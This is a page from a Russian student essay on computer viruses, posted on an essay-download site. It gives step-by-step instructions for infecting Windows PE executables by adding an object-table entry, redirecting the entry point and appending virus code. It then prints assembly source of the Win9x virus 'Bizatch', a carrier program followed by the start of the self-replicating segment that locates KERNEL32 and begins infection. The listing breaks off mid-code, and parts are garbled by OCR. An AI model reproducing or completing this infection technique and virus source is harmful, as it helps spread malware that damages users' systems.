скачать рефераты
  RSS    

Меню

Быстрый поиск

скачать рефераты

скачать рефератыРеферат: Компьютерные вирусы

               HMODULE   hModule,                                // описатель DLL-модуля

               LPCSTR         lpszProc                                  // имя функции

);

На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке  в обратном порядке:

Push       offset lpszProc

Push       dword ptr [hModule]

Call        GetProcAddress

Используя 32-битный отладчик, можно оттрасировать вызов и найти вызов KERNEL32.DLL для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.


Заражение файлов формата PEexecuatable.

Определение положения начала РЕ – заголовка происходит аналогично поиску начала NE – заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке ЕХЕ – файла 40h или больше, то по смещению 3Ch находится смещение PE – execuatable заголовка. Сигнатура PE – execuatable («РЕ») находится, как и у NE – execuatable ЕХЕ – файла, в начале нового заголовка.

Внутри PE – заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.

Основные действия заражения PE – execuatable файла:

1.    Найти смещение заголовка PE – execuatable в файле.

2.    Считать достаточное количество информации из заголовка для вычисления его полного размера.

3.    Считать весь PE – заголовок и таблицу объектов.

4.    Добавить новый объект в таблицу объектов.

5.    Установить точку входа RVA на новый объект.

6.    Дописать вирус к файлу по вычисленному физическому смещению.

7.    Записать измененный РЕ – заголовок в файл.

Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.

Таблица объектов расположена непосредственно за NT – заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NТheadersize и добавить размер поля флагов (24).

Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).

RVA=((prev RVA+ prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1)*File Alignment

Physical Offset=prev Physical Offset+prev Physical Size

Object Flags=db 40h,0,0,C0h

Entrypoint RVA=RVA

Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере физического размера байт.


Пример вируса под Windows 9x.

.386

locals

jumps

.model flat,STDCALL

 include win32.inc      ;некоторые 32-битные константы и структуры

 L equ <LARGE>

                        ;Определим внешние функции, к которым будет подключаться вирус

 extrn BeginPaint:PROC

 extrn CreateWindowExA:PROC

 extrn DefWindowProcA:PROC

 extrn DispatchMessageA:PROC

 extrn EndPaint:PROC

 extrn ExitProcess:PROC

 extrn FindWindowA:PROC

 extrn GetMessageA:PROC

 extrn GetModuleHandleA:PROC

 extrn GetStockObject:PROC

 extrn InvalidateRect:PROC

 extrn LoadCursorA:PROC

 extrn LoadIconA:PROC

 extrn MessageBeep:PROC

 extrn PostQuitMessage:PROC

 extrn RegisterClassA:PROC

 extrn ShowWindow:PROC

 extrn SetWindowPos:PROC

 extrn TextOutA:PROC

 extrn TranslateMessage:PROC

 extrn UpdateWindow:PROC

        ;Для поддержки Unicode Win32 интерпретирует некоторые функции

        ;для ANSI или расширенного набора символов.

        ;В качестве примера рассмотрим ANSI

 CreateWindowEx equ <CreateWindowExA>

 DefWindowProc equ <DefWindowProcA>

 DispatchMessage equ <DispatchMessageA>

 FindWindow equ <FindWindowA>

 GetMessage equ <GetMessageA>

 GetModuleHandle equ <GetModuleHandleA>

 LoadCursor equ <LoadCursorA>

 LoadIcon equ <LoadIconA>

 MessageBox equ <MessageBoxA>

 RegisterClass equ <RegisterClassA>

 TextOut equ <TextOutA>

.data

 newhwnd     dd 0

 lppaint PAINTSTRUCT <?>

 msg MSGSTRUCT <?>

 wc WNDCLASS <?>

 mbx_count   dd 0

 hInst       dd 0

 szTitleName db "Bizatch by Quantum / VLAD activated"

 zero        db 0

 szAlternate db "more than once",0

 szClassName db "ASMCLASS32",0

                        ;Сообщение выводимое в окне

 szPaint db "Left button pressed:"

 s_num   db "00000000h times.",0

                        ;Размер сообщения

 MSG_L EQU ($-offset szPaint)-1

.code

                        ;Сюда  обычно передается управление от загрузчика.

start:

                        ;Получим HMODULE

 push L 0

 call GetModuleHandle

 mov  [hInst],eax

 push L 0

 push offset szClassName

 call FindWindow

 or   eax,eax

 jz   reg_class

                         ;Пространство для модификации строки заголовка

 mov [zero]," "

reg_class:

                         ;Инициализируем структуру WndClass

 mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

 mov [wc.clsLpfnWndProc],offset WndProc

 mov [wc.clsCbClsExtra],0

 mov [wc.clsCbWndExtra],0

 mov eax,[hInst]

 mov [wc.clsHInstance],eax

                         ;Загружаем значок

 push L IDI_APPLICATION

 push L 0

 call LoadIcon

 mov  [wc.clsHIcon],eax

                         ;Загружаем курсор

 push L IDC_ARROW

 push L 0

 call LoadCursor

 mov  [wc.clsHCursor],eax

                         ;Инициализируем оставшиеся поля структуры WndClass

 mov [wc.clsHbrBackground],COLOR_WINDOW+1

 mov dword ptr [wc.clsLpszMenuName],0

 mov dword ptr [wc.clsLpszClassName],offset szClassName

               ;Регистрирем класс окна

 push offset wc

 call RegisterClass

                                  ;Создаем окно

 push L 0                         ;lpParam

 push [hInst]                     ;hInstance

 push L 0                         ;Меню

 push L 0                         ;hwnd родительского окна

 push L CW_USEDEFAULT             ;Высота

 push L CW_USEDEFAULT             ;Длина

 push L CW_USEDEFAULT             ;Y

 push L CW_USEDEFAULT             ;X

 push L WS_OVERLAPEEDWINDOW       ;Style

 push offset szTitleName          ;Title Style

 push offset szClassName          ;Class Name

 push L 0                         ;extra style

 call CreateWindowEx

                                  ;Сохраняем HWND

 mov [newhwnd],eax

                                  ;Отображаем окно на экране

 push L SW_SHOWNORMAL

 push [newhwnd]

 call ShowWindow

                                  ;Обновляем содержимое окна

 push [newhwnd]

 call UpdateWindow

                                  ;Очередь сообщений

msg_loop:

                                  ;Прочитаем следующее сообщение из очереди

 push L 0

 push L 0

 push L 0

 push offset msg

 call GetMessage

                        ;Если функция GetMessage вернула нулевое значение,

                        ;то завершаем обработку сообщений и выходим из процесса

 cmp ax,0

 je  end_loop

                        ;преобразуем виртуальные коды клавиш в сообщения клавиатуры

 push offset msg

 call TranslateMessage

                       ;Предаем это сообщение назад в Windows

 push offset msg

 call DispatchMessage

                       ;Переходим к следующему сообщению

 jmp msg_loop

                        ;Выходим из процесса

end_loop:

 push [msg.msWPARAM]

 call ExitProcess

      ;Обработка сообщений окна. Win32 требует сохранения регистров

      ;EBX, EDI, ESI. запишем эти регистры после "uses" в строке "proc"

      ;Это позволит Ассемблеру сохранить их

 WndProc proc uses ebx edi esi,hwnd:DWORD, wmsg:DWORD,

 wparam:DWORD, lparam:DWORD

 LOCAL theDC:DWORD

;Проверим, какое сообщение получили, и перейдем к обработке

cmp [wmsg],WM_DESTROY

je   wmdestroy

стр [wmsg],WM_RBUTTONDOWN

je   wmrbuttondown

cmp [wmsg],WM_SIZE

je   wmsize

cmp [wmsg],WM_CREATE

je   wmcreate

cmp [wmsg],WM_LBUTTONDOWN

je   wmlbuttondown

cmp [wmsg],WM_PAINT

je   wmpaint

cmp [wmsg],WM_GETMINMAXINFO

je   wmgetminmaxinfo

;Данная программа не обрабатывает это сообщение.

;Передадим его Windows,

;чтобы оно было обработано по умолчанию

jmp defwndproc

;Сообщение WM_PAINT (перерисовать содержимое окна)wmpaint:

;Подготовим окно для перерисовки

push offset Ippaint

push [hwnd]

call  BeginPaint

mov [theDC], eax

;Переведем в ASCII-формат значение mbx_count, которое

;доказывает, сколько раз была нажата левая кнопка мыши

mov eax,[mbx_count]

mov edi, offset s_num

call  HexWrite32

; Вывод строки в окно

push L MSG_L              ;Длина строки

push offset szPaint       ;Строка

push L 5                  ;Y

push L 5                  ;X

push [theDC]              ;DC

call TextOut

;0бозначим завершение перерисовки окна

push offset Ippaint

push [hwnd]

call  EndPaint

;Выходим из обработки сообщения

mov eax, 0

jmp finish

;Сообщение WM_CREATE (создание окна)

wmcreate:

; Выходим из обработки сообщения

mov eax, 0

jmp finish

;Сообщение, не обрабатываемое данной программой, передаем Windows

defwndproc:

push [Iparam]

push [wparam]

push [wmsg]

push [hwnd]

call DefWindowProc

; Выходим из обработки сообщения

jmp finish

;Сообщение WM_DESTROY (уничтожение окна)

wmdestroy:

; Закроем поток

push L О

call PostQuitMessage

;Выходим из обработки сообщения

mov eax, О

jmp finish

;Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши)

wmlbuttondown:

inc   [mbx_count]

;0бновим содержимое окна

push L 0

push L 0

push [hwnd]

call InvalidateRect

[Выходим из обработки сообщения

mov eax, О

jmp finish

;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)

wmrbuttondown:

push L 0

call MessageBeep

;Выходим из обработки сообщения

jmp finish

;Сообщение WM_SIZE (изменен размер окна)

wmsize:

;Выходим из обработки сообщения

mov eax, О

jmp finish

;Сообщение WM_GETMINMAXINFO (попытка изменить размер

;или положение окна)

wmgetminmaxinfo:

;Заполним структуру MINMAXINFO

mov ebx, [Iparam]

mov [(MINMAXINFO ptr. ebx).mintrackposition_x],350

mov [(MINMAXINFO ptr ebx).mintrackposition_y],60

;Выходим из обработки сообщения

mov eax, О

jmp finish

;Выходим из обработки сообщения

finish:

ret

WndProc endp

;Процедура перевода байта в ASCII-формат для печати. Значение,

;находящееся в регистре AL, будет записано в ASCII-формате

;по адресу ES-.EDI

HexWriteS proc

;Разделяем байт на полубайты и загружаем их в регистры АН и AL

mov ah,al

and al.0Fh

shr  ah,4

;Добавляем 30h к каждому полубайту, чтобы регистры содержали коды

;соответствующих символов ASCII. Если число,

;записанное в полубайте, было больше 9,

;то значение в этом полубайте надо еще корректировать

or   ax,3030h

;Меняем полубайты местами, чтобы регистр АН содержал младший

;полубайт, а регистр AL - старший

xchg al.ah

;Проверим, надо ли корректировать младший полубайт,

;если да - корректируем

cmp ah, 39h

ja   @@4

;Проверим, надо ли корректировать старший полубайт,

;если да - корректируем

@@1:

cmp al,39h

ja   @@3

;Сохраним значение по адресу ES:EDI

@@2:

stosw

ret

;Корректируем значение старшего полубайта

@@3:

sub al, 30h

add al, "A"-10

jmp @@2

;Корректируем значение младшего полубайта

@@4:

sub ah, 30h

add ah, "A"-10

jmp @@1

HexWriteS endp

; Процедура перевода слова в ASCII-формат для печати.

;Значение, находящееся в регистре АХ, будет записано

;в ASCII-формате по адресу ES:EDI

HexWrite16 proc

;Сохраним младший байт из стека

push ax

;Загрузим старший байт в регистр AL

xchg al,ah

;Переведем старший байт в ASCII-формат

call HexWriteS

;Восстановим младший байт из стека

pop ax

;Переведем младший байт в ASCII-формат

call  HexWriteS

ret

HexWrite16 endp

;Процедура перевода двойного слова в ASCII-формат для печати.

;Значение, находящееся в регистре ЕАХ, будет записано

;в ASCII-формате по адресу ES:EDI

HexWrite32 proc

;Сохраним младшее слово из стека

push eax

;Загрузим старшее слово в регистр АХ

shr  eax, 16

;Переведем старшее слово в ASCII-формат

call HexWrite16

;Восстановим младшее слово из стека

pop eax

;Переведем младшее слово в ASCII-формат

call HexWrite16

ret

HexWrite32 endp

;Сделаем процедуру WndProc доступной извне

public WndProc

ends

;Здесь начинается код вируса. Этот код переписывается из файла

;в файл. Все вышеописанное - всего лишь программа-носитель

vladseg segment para public "vlad"

assume cs:vladseg

vstart:   *

;Вычислим текущий адрес

call   recalc

recalc:

pop ebp

mov eax,ebp

db 2Dh         ;Код команды SUB AX

subme   dd 30000h+(recalc-vstart)

;Сохраним адрес в стеке

push eax

;Вычислим стартовый адрес вирусного кода

sub ebp,offset recalc

;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL

mov eax,[ebp+offset kern2]

;Проверим ключ. Если ключа нет, перейдем к точке 1

cmp dword ptr [eax],5350FC9Ch

jnz  notkern2

;KERNEL найден, точка 2

mov eax,[ebp+offset kern2]

jmp movit

;Точка 2 не подошла, проверим точку 1

notkern2:

; Возьмем адрес первой известной нам точки KERNEL

mov eax,[ebp+offset kern1]

;Проверим ключ, если ключа нет - выходим

cmp dword ptr [eax],5350FC9Ch

jnz  nopayload

;KERNEL найден, точка 1

mov eax,[ebp+offset kern1]

;KERNEL найден, адрес точки входа находится в регистре EAX

movit:

;Сохраним адрес KERNEL

mov [ebp+offset kern],eax

cld

;3апомним текущую директорию

lea  eax, [ebp+offset orgdir]

push eax

push 255

call GetCurDir

;Инициализируем счетчик заражений

mov byte ptr [ebp+offset countinfect],0

Страницы: 1, 2, 3, 4, 5


Новости

Быстрый поиск

Группа вКонтакте: новости

Пока нет

Новости в Twitter и Facebook

  скачать рефераты              скачать рефераты

Новости

скачать рефераты

© 2010.